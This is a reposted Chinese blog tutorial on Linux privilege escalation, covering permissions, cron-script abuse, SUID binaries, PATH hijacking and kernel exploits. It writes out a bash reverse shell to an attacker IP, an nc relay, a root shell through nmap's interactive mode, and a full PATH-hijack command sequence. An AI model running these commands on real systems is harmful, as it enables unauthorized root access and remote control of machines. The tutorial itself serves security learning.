參考文章
Linux提權:從入門到放棄
前言
粗略地看了一下,Windows 提權方式相較于 Linux 多太多了,所以先搞搞 Linux 提權,
基本知識
這是使用ls -l命令得到的結果,通過此方式可以看到各用戶對檔案的權限
drwxr-xr-x 4 kali kali 4096 Jun 7 12:13 CVE-2020-0796
-rw-r--r-- 1 kali kali 2419716 Aug 17 06:14 result.txt
# 其中第一列各個字母/符號分別代表
- 表示無
d 表示這是一個目錄,當然還有其他形式,如 l、b、c、p、s
r 可讀,4
w 可寫,2
x 可執行,1
# 第二串列示檔案的硬鏈接數
# 第三/四串列示:檔案(目錄)擁有者、檔案(目錄)擁有者所在的組
# 后面的分別表示檔案大小、創建時間以及名稱
可以看到,第一串列示檔案屬性及權限的共有 10 個字符,除去第一個表示其是否為目錄外
另外 9 個被分為 3 組,分別代表 擁有者權限、所在組權限、其他用戶權限
可以使用 chmod 命令設定權限,例如 chmod -R 777 test,-R 表示是對目錄修改權限,當當前用戶與檔案所屬用戶不相符時,便沒有權力更改這些屬性
資訊搜集工具:
linuxprivchecker
linux-exploit-suggester
exp 庫:
Exploit-db
Linux 提權漏洞集合
方式
前提:有一個低權限的 shell,并能上傳/下載檔案
基于密碼的提權
在前期對目標的資訊搜集可能會得到一些存盤著用戶密碼的檔案,或者是在資料庫中能得到一些賬號密碼,極有可能管理員會復用這些密碼,于是便可以直接在 shell 中使用 sudo 命令(SSH 中不可用)嘗試提權至管理員權限,還有就是查看一下桌面上的檔案,有時候管理員為了方便記憶,會把一些賬號密碼放在桌面上的檔案里,還有瀏覽器里面可能會存密碼!
計劃任務提權
一個簡單但是不常見的方式,
系統內可能會有一些定時執行的任務,一般這些任務由 crontab 來管理,具有所屬用戶的權限,非 root 權限的用戶是不可以列出 root 用戶的計劃任務的,但是 /etc/ 內系統的計劃任務可以被所有用戶列出
使用:ls -l /etc/cron*

默認這些程式以 root 權限執行,如果有幸遇到一個把其中腳本配置成任意用戶可寫的管理員,我們就可以修改腳本反彈 shell 什么的了
例如發現一個這樣的計劃任務:
-rwxrwxrw- 1 root root 2419716 Aug 17 06:14 corn
發現其所有用戶可讀可寫,于是便可以在其中添加 bash -i >& /dev/tcp/192.168.230.136/2333 0>&1 來反彈 shell,在攻擊機上監聽,當管理員登陸時,即可得到一個 root 權限的 shell
SUID 提權
SUID 是一種特殊的檔案屬性,它允許用戶執行的檔案以該檔案的擁有者的身份運行,
當以 root 身份給 SUID.py 檔案執行 chmod u+s SUID.py 或者 chmod 4755 SUID.py 后,可以得到具有如下權限的檔案
-rwSr-xr-x 1 root root 0 Aug 21 00:59 SUID.py # 可以看到,代表 擁有者組 執行權限的字符變成了 S,且普通用戶也有執行權限
當普通用戶執行帶有 S 標志位的可執行檔案時,便會以檔案擁有者 root 的權限執行的
可以通過如下命令 find / -user root -perm -4000 -print 2>/dev/null 得到這種型別的檔案

常見的有提權功能的 Linux 可執行檔案有:
Nmap
Vim
find
Bash
More
Less
Nano
cp
例如 nmap:
較舊版本的Nmap(2.02至5.21)帶有互動模式,從而允許用戶執行shell命令,由于Nmap位于上面使用root權限執行的二進制檔案串列中,因此可以使用互動式控制臺來運行具有相同權限的shell
具體操作:
nmap -interactive # 進入互動模式
nmap> !sh # 提供一個 root 權限的 shell
更多具體操作可以看這篇文章 Linux提權——利用可執行檔案SUID
網路與隱藏的服務
有一些服務器的服務會被配置成對內網或者對本機開放,通過對他們的攻擊我們有機會接觸更多的敏感檔案,或是運氣足夠好碰上一個遠程 root 漏洞,
netstat -antup # 查看各種網路服務,如果找到些神秘的服務,可以用 netcat 做個轉發
# 轉發
mkfifo backpipe
nc -l 本地神秘服務埠 0<backpipe | nc 遠程IP 埠 1>backpipe
環境變數提權
什么是環境變數:
環境變數相當于給系統或用戶應用程式設定的一些引數,具體起什么作用和具體的環境變數相關,比如 path,是告訴系統,當要求系統運行一個程式而沒有告訴它程式所在的完整路徑時,系統除了在當前目錄下面尋找(Linux 系統不會在當前目錄下尋找,而實直接在環境變數里找)此程式外,還應到哪些目錄下去尋找
PATH 便是 Linux 中的一個環境變數,用于指定存盤可執行程式的所有 bin 和 sbin 目錄,當用戶在終端上執行任何命令時,它會通過 PATH 變數來回應用戶執行的命令,并向 shell 發送請求以搜索可執行檔案
簡言之:比如你在終端中輸入一個 nmap 命令,其實是執行一個二進制檔案,按下回車之后,系統便會去 PATH 指定的目錄下尋找一個叫做 namp 的可執行檔案,找到了便會執行該檔案,找不到則提示沒有該檔案/命令
可以通過 echo $PATH 查看 PATH 環境變數

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games # 以 : 作為分割符, . 代表當前目錄
示例:
root 用戶在 /temp 目錄下編譯了這樣一個 shell.c 程式,得到一個叫做 shell 的可執行檔案,并且執行了 chmod u+s shell 為其添加了 SUID 屬性
#include<stdlib.h>
#include <unistd.h>
void main()
{
setuid(0);
system("ps");
}
得到:-rwSr-xr-x 1 root root 0 Aug 21 00:59 shell
此時攻擊者取得了一個低權限的 shell,通過 find / -perm -u=s -type f 2>/dev/null,搜索具有 SUID 或 4000 權限的檔案,發現
/temp/shell
并且同樣也找到了它的源檔案 shell.c
發現它使用了 system 函式,由于 system 函式是繼承環境變數的,因此便可以通過替換環境變數可以達到執行任意命令的效果,
- 獲取一個 root 權限的 shell
具體命令操作:
cd /tmp # 首先切換到該目錄下
echo "/bin/sh" > ps # 偽造一個 ps 檔案
chmod 777 ps # 賦予所有用戶所有權限
export PATH=/tmp:$PATH # 將 /temp 添加到環境變數
./shell # 執行 shell 檔案
解釋:
1.前提,c 程式中使用 system 函式呼叫了 ps 命令,由于 system 函式是繼承環境變數的(即相當于在終端中執行命令),所以在執行 ps 時會去環境變數指定的目錄中尋找一個叫 ps 的可執行檔案
2.攻擊者通過echo "/bin/sh" > ps、chmod 777 ps 在 /temp 目錄下偽造了一個叫做 ps 的可執行檔案
3.然后,通過 export PATH=/tmp:$PATH 將 /temp 目錄加到了環境變數中,由于系統尋找可執行檔案的時候是從指定的目錄中一個個找的,誰寫在前面便會先去這個目錄找,找到了就不繼續找,找不到再繼續去下一個目錄找,直到沒找到
4.執行./shell 命令時,程式先去環境變數指定的第一個檔案夾(/temp)中尋找一個叫 ps 的可執行檔案,由于事先偽造好了這樣一個檔案,于是該程式便會執行這個假的 ps 檔案
5.而檔案內容為 /bin/sh ,且該檔案是由管理員創建具有 SUID 屬性,執行時便以 root 權限執行,最終便得到了一個 root 權限的 shell,就相當于 root 用戶在終端中執行了 /bin/sh

總結下來:
1.需要一個有 SUID 屬性的檔案
2.需要了解到檔案的原始碼,且其中要有可被利用的特殊函式
3.什么鬼,這么難利用,放棄,卒
內核提權
怎么說呢, Linux 提權還是以內核提權為主,其他提權方式要求的前提太多,
首先,基礎的資訊收集:
# 查看內核版本
uname -a
# 查看發行版
cat /etc/issue
cat /etc/*-release
例如:
Linux ruion-PC 4.15.0-30deepin-generic #31 SMP Fri Nov 30 04:29:02 UTC 2018 x86_64 GNU/Linux
# 內核版本(4.15.0),cpu 架構(x86_64),和發行版(Deepin 15.11)
得到這些資訊后,便可以通過 kali 中的 searchspoit 查找 exploitdb 中的漏洞利用代碼
searchsploit linux priv esc 4.15 Deepin 15

然后,查看結果的具體要求的篩選程序,大部分 exp 都會寫清生效條件
然后下載 exp 在被攻擊機上編譯、執行
當被攻擊機上沒有 gcc 編譯器的時候,就需要本地搭建類似環境進行編譯后上傳可執行檔案再執行
gcc exp.c -o exp
chomd 777 exp
./exp
當然也可以使用前文給的兩個資訊搜集工具進行搜集
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/65172.html
標籤:其他
